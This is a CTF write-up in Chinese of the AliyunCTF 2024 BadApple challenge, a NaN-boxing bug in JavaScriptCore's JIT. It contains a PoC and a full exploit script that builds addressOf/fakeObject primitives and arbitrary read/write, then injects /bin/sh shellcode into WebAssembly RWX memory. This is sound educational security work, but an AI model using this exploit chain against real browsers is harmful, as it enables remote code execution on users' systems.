AliyunCTF 2024 - BadApple

news/2024/5/17 12:51:12

文章目录

  • 前言
  • 环境搭建
  • 漏洞分析
  • 漏洞利用
  • 参考

前言

本文首发于看雪论坛 https://bbs.kanxue.com/thread-281291.htm

依稀记得那晚被阿里CTF支配的恐惧,今年的阿里CTF笔者就做了一道签到PWN题,当时也是下定决心要学习 jsc pwn 然后复现这道 BadApple 题目

这个题目重新引入了一个 CVE,其实出题人已经白给了,因为出题人后面直接把当时漏洞发现者的演讲视频给了,然后通过视频可以找到解析文章,漏洞原理分析、poc 基本都有了,但是当时笔者太菜了(虽然现在也很菜),还是没有搞出来,经过这两天对 JSC 漏洞利用的研究,打算把这道题目复现了

注:如果读者想了解更多关于该漏洞的一些背景,请读者直接移步到参考文章,参考文章写的非常详细,对漏洞原理的分析也非常到位,本文更多的是记录如何从一个漏洞的 patch 一层一层的找到触发该漏洞的逻辑,而且写利用时也会遇到很多坑,笔者也详细做了记录

环境搭建

git checkout WebKit-7618.1.15.14.7
git apply ../BadApple.diff
Tools/Scripts/build-webkit --jsc-only --release

漏洞分析

patch 如下:

diff --git a/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp b/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp
index f2b51cf1213a..fd84ab644117 100644
--- a/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp
+++ b/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp
@@ -4307,7 +4307,7 @@ void SpeculativeJIT::compileGetByValOnFloatTypedArray(Node* node, TypedArrayType}if (format == DataFormatJS) {
-        purifyNaN(resultReg);
+        // purifyNaN(resultReg);boxDouble(resultReg, resultRegs);jsValueResult(resultRegs, node);} else {
diff --git a/Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cpp b/Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cpp
index f4e0bf891a61..6acea11bd819 100644
--- a/Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cpp
+++ b/Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cpp
@@ -15292,7 +15292,7 @@ IGNORE_CLANG_WARNINGS_ENDelsegenericResult = strictInt52ToJSValue(m_out.zeroExt(genericResult, Int64));} else if (genericResult->type() == Double)
-            genericResult = boxDouble(purifyNaN(genericResult));
+            genericResult = boxDouble(genericResult);results.append(m_out.anchor(genericResult));m_out.jump(continuation);
diff --git a/Source/JavaScriptCore/jsc.cpp b/Source/JavaScriptCore/jsc.cpp
index f85c7db6bfbe..6af45c3e477e 100644
--- a/Source/JavaScriptCore/jsc.cpp
+++ b/Source/JavaScriptCore/jsc.cpp
@@ -616,6 +616,9 @@ private:Base::finishCreation(vm);JSC_TO_STRING_TAG_WITHOUT_TRANSITION();
+	// addFunction(vm, "describe"_s, functionDescribe, 1);
+	// addFunction(vm, "print"_s, functionPrintStdOut, 1);
+	return;addFunction(vm, "atob"_s, functionAtob, 1);addFunction(vm, "btoa"_s, functionBtoa, 1);

这里 DFGFTL 中的两处漏洞都可以单独进行利用,所以这里仅仅看 DFG 中的漏洞,其补丁打在了 SpeculativeJIT::compileGetByValOnFloatTypedArray 函数中:

void SpeculativeJIT::compileGetByValOnFloatTypedArray(Node* node, TypedArrayType type, const ScopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>& prefix)
{ASSERT(isFloat(type));SpeculateCellOperand base(this, m_graph.varArgChild(node, 0));SpeculateStrictInt32Operand property(this, m_graph.varArgChild(node, 1));StorageOperand storage(this, m_graph.varArgChild(node, 2));GPRTemporary scratch(this);FPRTemporary result(this);GPRReg baseReg = base.gpr();GPRReg propertyReg = property.gpr();GPRReg storageReg = storage.gpr();GPRReg scratchGPR = scratch.gpr();FPRReg resultReg = result.fpr();std::optional<GPRTemporary> scratch2;GPRReg scratch2GPR = InvalidGPRReg;
#if USE(JSVALUE64)if (node->arrayMode().mayBeResizableOrGrowableSharedTypedArray()) {scratch2.emplace(this);scratch2GPR = scratch2->gpr();}
#endifJSValueRegs resultRegs;DataFormat format;std::tie(resultRegs, format, std::ignore) = prefix(DataFormatDouble);emitTypedArrayBoundsCheck(node, baseReg, propertyReg, scratchGPR, scratch2GPR);switch (elementSize(type)) {case 4:loadFloat(BaseIndex(storageReg, propertyReg, TimesFour), resultReg);convertFloatToDouble(resultReg, resultReg);break;case 8: {//	【1】loadDouble(BaseIndex(storageReg, propertyReg, TimesEight), resultReg);break;}default:RELEASE_ASSERT_NOT_REACHED();}if (format == DataFormatJS) {//	【2】//    purifyNaN(resultReg);boxDouble(resultReg, resultRegs);jsValueResult(resultRegs, node);} else {ASSERT(format == DataFormatDouble);doubleResult(resultReg, node);}
}

compileGetByValOnFloatTypedArray 函数顾名思义,其是用来优化 GetByValOnFloatTypedArray 操作的,比如如下代码:

let f64 = new Float64Array(10);
let val = f64[0];

对于 f64[0]DFG 阶段会调用 compileGetByValOnFloatTypedArray 对其进行优化,这里的 f64Float64Array ,所以元素大小是 8 字节,其会走到 【1】 处,loadDouble 会根据索引从数组中加载相应的值到 resultReg 中。然后会走到后面的 if-else 处,如果 format == DataFormatJS 则会走到漏洞分支处,可以看到这里直接对 resultReg 进行了 box 处理,即将其转换为 JSValue

这里 format == DataFormatJS 表示优化编译器认为这个值在后面被会作为 JSValue 使用,所以会走 if 分支调用 boxDouble 将其转换为一个 JSValue,否则认为后面会直接使用原始值,所以会走 else 分支不做 box 处理

可以可以看到,patch 主要就是注释掉了 purifyNaN(resultReg); 从而引入了漏洞,来看下 pyrifyNaN 函数:

// Returns some kind of pure NaN.
inline double pureNaN()
{return bitwise_cast<double>(0x7ff8000000000000ll);
}#define PNaN (pureNaN())inline bool isImpureNaN(double value)
{return bitwise_cast<uint64_t>(value) >= 0xfffe000000000000llu;
}// If the given value is NaN then return a NaN that is known to be pure.
inline double purifyNaN(double value)
{if (value != value)return PNaN;return value;
}  

可以看到这里函数的功能就跟其名称一样: purify NaN,在 JSC 中,其认为 0x7ff8000000000000ll 是一个 pure NaN。所以这里的意思就是如果数组中的值是 NaN,则统一使用 pure NaN,后面简称 PNaN

为啥要统一使用 PNaN?这里先来看下 boxDouble

boxDouble 的实现有好多个,可以根据参数类型进行判断具体的调用的哪一个实现

void boxDouble(FPRReg fpr, JSValueRegs regs, TagRegistersMode mode = HaveTagRegisters)
{boxDouble(fpr, regs.gpr(), mode);
}GPRReg boxDouble(FPRReg fpr, GPRReg gpr, TagRegistersMode mode = HaveTagRegisters)
{//	【1】moveDoubleTo64(fpr, gpr);if (mode == DoNotHaveTagRegisters)sub64(TrustedImm64(JSValue::NumberTag), gpr);else {// 【2】sub64(GPRInfo::numberTagRegister, gpr);jitAssertIsJSDouble(gpr);}return gpr;
}

所以之前的函数走的是 【2】 分支,这里首先将 fpr 赋值给了 gpr,然后执行 sub64(GPRInfo::numberTagRegister, gpr);gpr = gpr - GPRInfo::numberTagRegister,这里跟踪一下:

static constexpr GPRReg numberTagRegister = X86Registers::r14;

所以这里 GPRInfo::numberTagRegister 对于的是虚拟寄存器 r14,行那么问题来了?r14 在实际运行时到底是多少呢?这里还是不知道,所以我们还是根据 GPRInfo::numberTagRegister 的名称进行搜索:

// If all bits in the mask are set, this indicates an integer number,
// if any but not all are set this value is a double precision number.
static constexpr int64_t NumberTag = 0xfffe000000000000ll;

最后找到了一个比较相关的,其值为 0xfffe000000000000ll,其实可以发现其就是 integer JSValuemask,所以这里我们可以认为其就是 gpr = gpr - 0xfffe000000000000ll,但是似乎也不对啊,double JSValue 应该是 gpr = gpr + 0x0002000000000000ll 才对啊,别急:

gpr = gpr-0xfffe000000000000ll = gpr-0xfffe000000000000ll-0x0002000000000000ll+0x0002000000000000ll= gpr-(0xfffe000000000000ll+0x0002000000000000ll)+0x0002000000000000ll= gpr-0x1_0000000000000000[发生溢出]+0x0002000000000000ll= gpr+0x0002000000000000ll

所以其是等效的,这里的效果就是 gpr = gpr + 0x0002000000000000ll,行,接下来我们在梳理一下程序的流程:

f64[0]==>	resultReg = loadDouble
if format == DataFormatJS is true	==>	resultReg + 0x0002000000000000ll==>	return

这里其实漏洞就很明显了,如果 resuleReg = 0xfffe_????_????_????,那么此时就会发生溢出:

resultReg + 0x0002000000000000ll = 0xfffe_????_????_???? + 0x0002000000000000ll= 0x0000_????_????_????

0x0000_????_????_???? 会被当作一个指针,所以就获得了一个 fakeObject 原语。那么这里 resuleReg 可以为 0xfffe_?...? 吗?答案是可以的,比如如下代码:

let f64 = new Float64Array(10);
let u64 = new BigUint64Array(f64);
u64[0] = 0xfffe_0000_0000_1111n;
let val = f64[0];

这里我们顺便看下为啥加上 purifyNaN 就可以消除这个漏洞,我们知道 0xfffe_????_????_???? 对于 double 而言都是 NaN(其实只要指数域全部置位,尾数域不全为 0,表示的就是 NaN),所以对于此类值,我们都统一使用 PNaN = 0x7ff8000000000000ll,这时:

resultReg + 0x0002000000000000ll = 0x7ff8000000000000ll + 0x0002000000000000ll = 0x7ffa000000000000

可以看到这里就避免了溢出的发生

漏洞触发:
接下来就是关键的漏洞触发路径的探索了

通过上面的分析,我们知道想要触发漏洞,就要执行到:

void SpeculativeJIT::compileGetByValOnFloatTypedArray(Node* node, TypedArrayType type, const ScopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>& prefix)

并且要求最后执行 if 分支,即 format == DataFormatJS 得成立,而 format 被赋值的语句如下:

void SpeculativeJIT::compileGetByValOnFloatTypedArray(Node* node, TypedArrayType type, const ScopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>& prefix)
{......JSValueRegs resultRegs;DataFormat format;std::tie(resultRegs, format, std::ignore) = prefix(DataFormatDouble);
......

可以看到 format 的值为 compileGetByValOnFloatTypedArray 的第三个参数 prefix(其是一个 lambda 函数) 返回值 tuple 的第二个值。所以这里目标就很清楚了:

  • 调用 compileGetByValOnFloatTypedArray 函数
  • 传入的第三个参数 prefix 执行后返回值 tuple 的第二个元素为 DataFormatJS

先看下有哪些函数调用 compileGetByValOnFloatTypedArray,经过搜索,笔者仅在如下路径中找到调用:

Source\JavaScriptCore\dfg\DFGSpeculativeJIT64.cpp ⇒ SpeculativeJIT::compileGetByVal
Source\JavaScriptCore\dfg\DFGSpeculativeJIT32_64.cpp ⇒ SpeculativeJIT::compileGetByVal

然后看 DFGSpeculativeJIT32_64.cp 似乎没用了?这里看下 DFGSpeculativeJIT64.cpp 下的实现:

void SpeculativeJIT::compileGetByVal(Node* node, const ScopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>& prefix)
{switch (node->arrayMode().type()) {......case Array::Float32Array:case Array::Float64Array: {TypedArrayType type = node->arrayMode().typedArrayType();if (isInt(type))compileGetByValOnIntTypedArray(node, type, prefix);elsecompileGetByValOnFloatTypedArray(node, type, prefix);} }
}

这里继续跟踪 compileGetByVal 的引用,看看谁调用了它,最后找到如下调用:

// DFGSpeculativeJIT32_64.cpp 下的是一样的,就不多说了
Source\JavaScriptCore\dfg\DFGSpeculativeJIT64.cpp ⇒ SpeculativeJIT::compile
Source\JavaScriptCore\dfg\DFGSpeculativeJIT.cpp ⇒ SpeculativeJIT::compileEnumeratorGetByVal

这里先来看下 SpeculativeJIT::compile 函数:

void SpeculativeJIT::compile(Node* node)
{NodeType op = node->op();
......switch (op) {......case GetByVal: {JSValueRegsTemporary result;compileGetByVal(node, scopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>([&] (DataFormat preferredFormat) {JSValueRegs resultRegs;switch (preferredFormat) {case DataFormatDouble:break;default: {result = JSValueRegsTemporary(this);resultRegs = result.regs();break;}};return std::tuple { resultRegs, preferredFormat, CanUseFlush::Yes };}));break;}

这里我并没有在外部找到 preferredFormat 的定义,所以这里 lambda 函数返回的 tuple 的第二个元素似乎不确定,所以这条路径暂时放弃

然后再来看下 SpeculativeJIT::compileEnumeratorGetByVal 函数:

void SpeculativeJIT::compileEnumeratorGetByVal(Node* node)
{Edge baseEdge = m_graph.varArgChild(node, 0);auto generate = [&] (JSValueRegs baseRegs) {......compileGetByVal(node, scopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat)>([&] (DataFormat) {......return std::tuple { resultRegs, DataFormatJS, CanUseFlush::No };}));......};
......
}

可以到这里 lambda 函数返回的 tuple 的第二个元素恒为 DataFormatJS,这时符合条件的,并且由于其固定为 DataFormatJS,对漏洞利用的稳定性也有很大的帮助

说实话,感觉是真的巧,巧合就有这么一个函数,巧合其返回的就是 DataFormatJS,差一个环节,这个漏洞的利用都会显得非常困难

所以最后我们需要执行到 compileEnumeratorGetByVal 逻辑即可,而跟踪可以知道,其会在 SpeculativeJIT::compile 中被调用:

void SpeculativeJIT::compile(Node* node)
{NodeType op = node->op();
......switch (op) {......case EnumeratorGetByVal: {compileEnumeratorGetByVal(node);break;}......

根据 case 可以知道,其是处理 EnumeratorGetByVal 操作的,并且这里基本上就到了优化编译路径的顶层了

void SpeculativeJIT::compileCurrentBlock()
{ASSERT(m_compileOkay);
......for (m_indexInBlock = 0; m_indexInBlock < m_block->size(); ++m_indexInBlock) {m_currentNode = m_block->at(m_indexInBlock);......compile(m_currentNode);......

接下来就是要看看 EnumeratorGetByVal 对应的操作是什么,这里结合 chatGPT 食用:

JavaScriptCore 中,EnumeratorGetByVal 是一个函数,用于在枚举对象的属性时获取指定键的值。

当使用 for...in 语句或 Object.keys() 等方法枚举对象的属性时,JavaScriptCore 使用 EnumeratorGetByVal 函数来获取每个属性的值。

这里不禁让我想到了 V8for-in 的实现,for-in 其实是一个非常耗时的语句,不同的引擎针对 for-in 的实现都做了不同的优化,在 V8 中,其主要就是通过 enum cache 去加速 for-in 语句的属性查找,之前分析过的 V8 中关于 enum cache 的漏洞就是 enum cache 在对象类型改变时没有及时更新从而导致越界,感兴趣的读者可以参考之前笔者的文章

还是回到 JSC 中来,笔者并没用找到 JSC 中关于 for-in 的实现资料,关于源码…嗯,笔者暂时没打算直接读源码,因为笔者现在还在对 JSC 的整个编译流程做总结,还没用打算深入源码,毕竟还得慢慢来,一口不能吃成一个大胖子。

但是到这里我们就可以尝试写 poc 了,我们只需要知道 for-in 中利用 key 获取属性值时会走到漏洞逻辑进行了,考虑如下 poc:由于对 JSC 的一些编译管道不是很熟悉,所以 poc 写了很久都没写出来,最后直接看官方 poc 吧…

let abuf = new ArrayBuffer(8);
let lbuf = new BigUint64Array(abuf);
let fbuf = new Float64Array(abuf);obj = {other:1};
function trigger(arg, t) {for (let i in obj) {obj = [0];t.x = arg[i];}
}t = {x: {}};
trigger(obj, t);
for (let i = 0 ; i < 0x1000; i++) {trigger(fbuf,t);
}lbuf[0] = 0xfffe0000_00000001n;
trigger(fbuf, t);
t.x;

调试程序 crash
在这里插入图片描述
可以看到程序 crash 的原因是内存读写错误,因为此时的 r13 = 1 是一个无效地址

漏洞利用

现在我们已经获得了一个 fakeObject 原语,接下来就是去考虑该如何进行利用了…说实话,我还真不知道咋利用,毕竟没有 addressOf 原语就没办法泄漏相关对象的地址,从而无法去伪造合法的对象,所以这里得想办法泄漏对象地址

这里参考文章中给出了一种方案,这里不细说,具体请参考参考文章,简单来说就是当 === 操作被优化后,其直接使用 cmp 指令进行比较,那么我们可以利用一个有效指针和无效指针进行比较从而爆破对象地址

笔者在写 exp 的时候遇到了很多问题,而这些问题在参考文章中都没有说明,所以笔者带着大家去解决这些问题:

  • 1、防止 GC 发生,由于存在对一些非法对象的引用,如果触发 GC 则会导致 crash
  • 2、防止循环爆破地址的过程中发生一些优化,否则会导致程序 crash,因为优化时会对对象进行检查
  • 3、还有一些其它问题,我也说不明白是什么问题

首先说明下,在 ubu20.04 上,我发现对象的低 24 比特似乎是固定的:不知道是不是平台的原因,还是是其跟 V8 有差不多的特性?
在这里插入图片描述

接下来就跟着笔者去碰一碰利用过程中遇到的问题吧,第一版爆破对象地址的 exp

var abuf = new ArrayBuffer(8);
var lbuf = new BigUint64Array(abuf);
var fbuf = new Float64Array(abuf);var t = {x: {}};
var obj = {x:1234, y:1234};
var obj_to_leak = { p1: 1337, p2: 1337 };
function trigger(arg, a2) {for (let i in obj) {obj = [1];let out = arg[i];a2.x = out;}
}function compare_obj(pointer, target_obj) {return pointer.x === target_obj;
}function fakeObject(addr) {lbuf[0] = 0xfffe_0000_0000_0000n + addr;trigger(fbuf, t);
}trigger(obj, t);
trigger(t, obj_to_leak);for (let i = 0 ; i < 0x1000; i++) {trigger(fbuf,t);
}for (let i = 0; i < 0x10000; i++) {compare_obj(t, obj_to_leak);
}debug(describe(obj_to_leak));
var addr = 0n;
for (let i = 0n; i < 0xffffn; i += 1n) {print(i);addr = 0x7f0000500180n + i*0x1000000n;fakeObject(addr);let res = compare_obj(t, obj_to_leak);if (res) {print("Success");break}
}
debug(describe(obj_to_leak));
print("addr: 0x"+addr.toString(16));

运行直接 crash
在这里插入图片描述
调试看看是哪里出了问题:
在这里插入图片描述
可以看到这里的 rdi 就是我们进行爆破的地址,现在其是一个无效的地址,所以这里 [rdi+0x5] 发生了内存访问错误,看调用栈可以知道其发生在如下调用逻辑:

[#0] 0x7ffff6616dfbJSC::speculationFromCell(JSC::JSCell*)()
[#1] 0x7ffff65f7655 → JSC::CompressedLazyValueProfileHolder::computeUpdatedPredictions(JSC::ConcurrentJSLocker const&, JSC::CodeBlock*)()
[#2] 0x7ffff65936bc → JSC::CodeBlock::updateAllPredictions()()
[#3] 0x7ffff6f6e71doperationOptimize()

而且通过 rdi 的值可以知道其是在爆破的过程中发生了,所以这里就是说在爆破的过程中发生了优化,这里大概就可以猜测是因为某个操作循环了多次导致的,这里读者可以大概去看一下 operationOptimize 函数(其实也不用看),然后可以知道 updateAllPredictions 函数用来更新预测信息的(其实根据函数名也知道)。

所以接下来就是去找出是哪里发生了优化,这里基本也是连猜带懵(其实这里可以主要到其明显与伪造对象有关,而结合源代码,基本上就可以知道是哪里出现了问题),当然这里笔者也没搞错底层的根本原因,所以就不多说了,直接看代码。

这里笔者写出了第二版泄漏代码:

var abuf = new ArrayBuffer(8);
var lbuf = new BigUint64Array(abuf);
var fbuf = new Float64Array(abuf);var t = {x: {}};
var obj = {x:1234, y:1234};
var obj_to_leak = { p1: 1337, p2: 1337 };
function trigger(arg, a2) {for (let i in obj) {obj = [1];let out = arg[i];a2.x = out;}
}function compare_obj(pointer, target_obj) {return pointer.x === target_obj;
}function fakeObject(addr) {lbuf[0] = 0xfffe_0000_0000_0000n + addr;trigger(fbuf, t);
}trigger(obj, t);
trigger(t, obj_to_leak);for (let i = 0 ; i < 0x1000; i++) {trigger(fbuf,t);
}lbuf[0] = 0xfffe0000_22222222n;
for (let i = 0; i < 0x1000; i++) {trigger(fbuf, t);
}for (let i = 0; i < 0x10000; i++) {compare_obj(t, obj_to_leak);
}debug(describe(obj_to_leak));
var addr = 0n;
for (let i = 0n; i < 0xffffn; i += 1n) {print(i);addr = 0x7f0000500180n + i*0x1000000n;fakeObject(addr);let res = compare_obj(t, obj_to_leak);if (res) {print("Success");break}
}
debug(describe(obj_to_leak));
print("addr: 0x"+addr.toString(16));

笔者增加了如下代码去提前进行相关优化:你若问我为什么,我也不知道,就是瞎调,然后连猜带懵的…

lbuf[0] = 0xfffe0000_22222222n;
for (let i = 0; i < 0x1000; i++) {trigger(fbuf, t);
}

为什么选择 0xfffe0000_22222222n 呢?因为笔者测试发现如果你把原始 poc 中的 0xfffe0000_00000001n 换成0xfffe0000_22222222n ,程序不会崩溃,当然还有一些其它值也不会崩溃,比如 0xfffe0000_00000002n、0xfffe0000_00000006n 等等,这里 2 表示的是 Null6 表示的是 false,所以其不会崩溃自然可以理解

运行结果如下:
在这里插入图片描述
虽然还是崩溃了,但是可以看到现在可以执行的更远了,这里是执行到了 19565,而上面仅仅执行到了 159,还是调试分析下:
在这里插入图片描述
可以看到这里的崩溃原因与第一版的并不一样,并且这版运行的更远,说明上一个版本的问题我们已经成功解决了。但是这个问题,笔者并没有很好的解决,因为笔者感觉是 gc 的问题,所以多跑几次吧…悲
在这里插入图片描述
如果读者针对该问题有比较好的解决方案,欢迎交流~~~

泄漏了对象地址后,其实就比较简单了,直接套模板就行了,exp 其实可以简化的,但是不想改了,因为 obj_to_leak 对象的地址的低 24 比特随着代码而改变,增加一行代码或减少一行代码都有可能使得其地址低 24 比特被改变,如果存在像 V8 那样的通用堆喷就好了~~~

exploit 如下:

var buf = new ArrayBuffer(8);
var dv  = new DataView(buf);
var u8  = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);function pair_u32_to_f64(l, h) {u32[0] = l;u32[1] = h;return f64[0];
}function u64_to_f64(val) {u64[0] = val;return f64[0];
}function f64_to_u64(val) {f64[0] = val;return u64[0];
}function set_u64(val) {u64[0] = val;
}function set_l(l) {u32[0] = l;
}function set_h(h) {u32[1] = h;
}function get_l() {return u32[0];
}function get_h() {return u32[1];
}function get_u64() {return u64[0];
}function get_f64() {return f64[0];
}function get_fl(val) {f64[0] = val;return u32[0];
}function get_fh(val) {f64[0] = val;return u32[1];
}function hexx(str, val) {print(str+": 0x"+val.toString(16));
}function sleep(ms) {return new Promise((resolve) => setTimeout(resolve, ms));
}var abuf = new ArrayBuffer(8);
var fbuf = new Float64Array(abuf);
var lbuf = new BigUint64Array(abuf);var arrs = new Array(0x20).fill({});
for (let i = 0; i < 0x20; i++) {arrs[i] = { x: 1337, y: 1337 };
};
var t = { x: 1337, y:  1337};
var obj = { x: 1337, y: 1337 };
var obj_to_leak = { x: 1337, y: 1337 };
var header = { x: 1337, y: 1337 };
var butterfly = { x: 200, y: 1337 };
var addressOf_obj = { x: 1337, y: 1337 };function trigger(arr, a2) {for (let i in obj) {obj = [1];let out = arr[i];a2.y = out;}
}function fakeObject(addr, a2) {lbuf[0] = 0xfffe_0000_0000_0000n + addr;trigger(fbuf, a2);
}function compare_obj(pointer, target_obj) {return pointer.y === target_obj;
}trigger(obj, t);
compare_obj(t, obj_to_leak);for (let i = 0; i < 0x30000; i++) {trigger(fbuf, t);
}lbuf[0] = 0xfffe0000_22222222n;;
for (let i = 0; i < 0x1000; i++) {trigger(fbuf, t);
}for (let i = 0; i < 0x10000; i++) {compare_obj(t, obj_to_leak);
}print("==> Go");
//debug(describe(obj_to_leak));
var addr = 0n;
for (let i = 0n; i < 0xffffn; i += 1n) {addr = 0x7fffff50c580n - i*0x1000000n;
//      print(i);
//      hexx("addr", addr);fakeObject(addr, t);let res = compare_obj(t, obj_to_leak);if (res) {hexx("addr", addr);break;}
}obj_to_leak.x = u64_to_f64(0x0108230700000000n-0x2000000000000n);
fakeObject(0x2000000020n, header);
obj_to_leak.y = butterfly;fakeObject(addr+0x10n, t);
var fake_object = t.y;//debug(describe(obj_to_leak));
//debug(describe(header));
//debug(describe(butterfly));
//debug(describe(addressOf_obj));function addressOf(obj) {butterfly.x = obj;return f64_to_u64(fake_object[2]);
}print("==> End");
hexx("test", addressOf(addressOf_obj));function fakeObject_better(addr) {fake_object[2] =  u64_to_f64(addr);return butterfly.x;
}function leakStructureID(obj) {let container = {jscell: u64_to_f64(0x0108230700000000n-0x2000000000000n),butterfly: obj};let fake_object_addr = addressOf(container) + 0x10n;let leak_fake_object = fakeObject_better(fake_object_addr);let num = f64_to_u64(leak_fake_object[0]);let structureID = num & 0xffffffffn;container.jscell = f64[0];return structureID;
}var noCOW = 1.1;
var arrs = [];
for (let i = 0; i < 100; i++) {arrs.push([noCOW]);
}
var ID = [noCOW];//debug(describe(ID));
var structureID = leakStructureID(ID);
hexx("structureID", structureID);var victim = [noCOW, 1.1, 2.2];
victim['prop'] = 3.3;
victim['brob'] = 4.4;var container = {jscell: u64_to_f64(structureID+0x0108230900000000n-0x2000000000000n),butterfly: victim
};var container_addr = addressOf(container);
var driver_addr = container_addr + 0x10n;
var driver = fakeObject_better(driver_addr);//debug(describe(victim));
//debug(describe(driver));var unboxed = [noCOW, 1.1, 2.2];
var boxed = [{}];driver[1] = unboxed;
var sharedButterfly = victim[1];
hexx("sharedButterfly", f64_to_u64(sharedButterfly));
//debug(describe(unboxed));driver[1] = boxed;
victim[1] = sharedButterfly;function new_addressOf(obj) {boxed[0] = obj;return f64_to_u64(unboxed[0]);
}function new_fakeObject(addr) {unboxed[0] = u64_to_f64(addr);return boxed[0];
}function read64(addr) {driver[1] = new_fakeObject(addr + 0x10n);return new_addressOf(victim.prop);
}function write64(addr, val) {driver[1] = new_fakeObject(addr + 0x10n);victim.prop = u64_to_f64(val);;
}function ByteToDwordArray(payload) {let sc = [];let tmp = [];let len = Math.ceil(payload.length / 6);for (let i = 0; i < len; i += 1) {tmp = 0n;pow = 1n;for(let j = 0; j < 6; j++){let c = payload[i*6+j]if(c === undefined) {c = 0n;}pow = j==0 ? 1n : 256n * pow;tmp += c * pow;}tmp += 0xc000000000000n;sc.push(tmp);}return sc;
}function arb_write(addr, payload) {let sc = ByteToDwordArray(payload);for(let i = 0; i < sc.length; i++) {write64(addr, sc[i]);addr += 6n;}
}var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;var pwn_addr = new_addressOf(pwn);
hexx("pwn_addr", pwn_addr);
var rwx_ptr = read64(pwn_addr + 0x30n);
var rwx_addr = read64(rwx_ptr);;
hexx("rwx_addr", rwx_addr);var shellcode =[106n, 104n, 72n, 184n, 47n, 98n, 105n, 110n, 47n, 47n, 47n, 115n,80n, 72n, 137n, 231n, 104n, 114n, 105n, 1n, 1n, 129n, 52n, 36n, 1n,1n, 1n, 1n, 49n, 246n, 86n, 106n, 8n, 94n, 72n, 1n, 230n,86n, 72n,137n, 230n, 49n, 210n, 106n, 59n, 88n, 15n, 5n];arb_write(rwx_addr, shellcode);
pwn();

效果如下:
在这里插入图片描述

参考

Safari, Hold Still for NaN Minutes!


http://www.mrgr.cn/p/20265053

相关文章

UI——数据表和UI绑定

目的创建数据表 创建UI控件 玩家角色蓝图UI按键逻辑 UI与数据表绑定1.创建数据表2.创建UI控件3.玩家角色蓝图UI按键逻辑4.UI与数据表绑定本文来自博客园,作者:荒坂株式会社,博客内容均属学习笔记,只做交流之用

MBR20200FCT-ASEMI肖特基二极管MBR20200FCT

MBR20200FCT-ASEMI肖特基二极管MBR20200FCT编辑:ll MBR20200FCT-ASEMI肖特基二极管MBR20200FCT 型号:MBR20200FCT 品牌:ASEMI 封装:TO-220 最大平均正向电流(IF):20A 最大循环峰值反向电压(VRRM):200V 最大正向电压(VF):0.90V 工作温度:-65C~175C 反向恢复时间:…

ELK-Kibana 部署

目录 一、在 node1 节点上操作 1.1.安装 Kibana 1.2.设置 Kibana 的主配置文件 1.3.启动 Kibana 服务 1.4.验证 Kibana 1.5.将 Apache 服务器的日志&#xff08;访问的、错误的&#xff09;添加到 ES 并通过 Kibana 显示 1.6. 浏览器访问 二、部署FilebeatELK&…

App测试中,强制等待和隐式等待谁更强?

简介 添加等待是为了确保自动化脚本在执行过程中与应用程序之间的同步和稳定性。 应用程序的响应时间是不确定的,可能存在网络延迟、加载时间、动画效果等因素。如果在执行自动化脚本时没有适当的等待机制,脚本可能会在应用程序还未完成相应操作或加载完成之前继续执行下一步…

Spring AOP的实现方式与原理

目录 认识IOC与AOP AOP的实现方式 Aspect注解实现AOP 自定义注解实现AOP Spring AOP原理 代理模式 静态代理和动态代理 JDK动态代理 CGLIB动态代理 Spring AOP实现的哪种代理 认识IOC与AOP IOC又称为控制反转,也就是控制权发生了反转.在传统的程序中,我们是需要自己…

设计模式——迭代器模式15

迭代器模式提供一种方法访问一个容器对象中各个元素&#xff0c;而又不需暴露该对象的内部细节。 设计模式&#xff0c;一定要敲代码理解 抽象迭代器 /*** 迭代抽象* */ public interface Iterator<A> {A next();boolean hasNext(); }迭代器实现 /*** author ggbond*…

数据加密技术在数据安全中的作用

随着信息技术的飞速发展,数据已成为现代社会最宝贵的资产之一。然而,数据的快速增长也带来了安全风险,包括数据泄露、篡改和滥用等。数据加密技术作为保护数据安全的重要手段,其重要性日益凸显。PrimiHub一款由密码学专家团队打造的开源隐私计算平台,专注于分享数据安全、…

生态短讯 | Tapdata 与 TDengine 完成产品兼容性互认证,打造物联网实时数据生态

近日,深圳钛铂数据有限公司自主研发的钛铂实时数据平台与 TDengine完成相互兼容性测试,兼容性良好,系统功能正常,运行稳定。近月,深圳钛铂数据有限公司(以下简称钛铂数据)自主研发的实时数据平台(Tapdata Live Data Platform)与北京涛思数据科技有限公司(以下简称涛思…

YOLTV8 — 大尺度图像目标检测框架(欢迎star)

YOLTV8 — 大尺度图像目标检测框架【ABCnutter/YOLTV8: &#x1f680;】 针对大尺度图像&#xff08;如遥感影像、大尺度工业检测图像等&#xff09;&#xff0c;由于设备的限制&#xff0c;无法利用图像直接进行模型训练。将图像裁剪至小尺度进行训练&#xff0c;再将训练结果…

Qt 6.5.5 链接和QML与C++交互的若干问题

需求描述 Qt Quick开发桌面组件,使用讯飞API(提供头文件、静态库、动态库),希望部署到Windows平台,在Qt Creator开发。 QML与C++交互 主要参考:QML与CPP,https://blog.csdn.net/gongjianbo1992/article/details/87965925 另有参考:信号与槽,https://blog.csdn.net/ife…

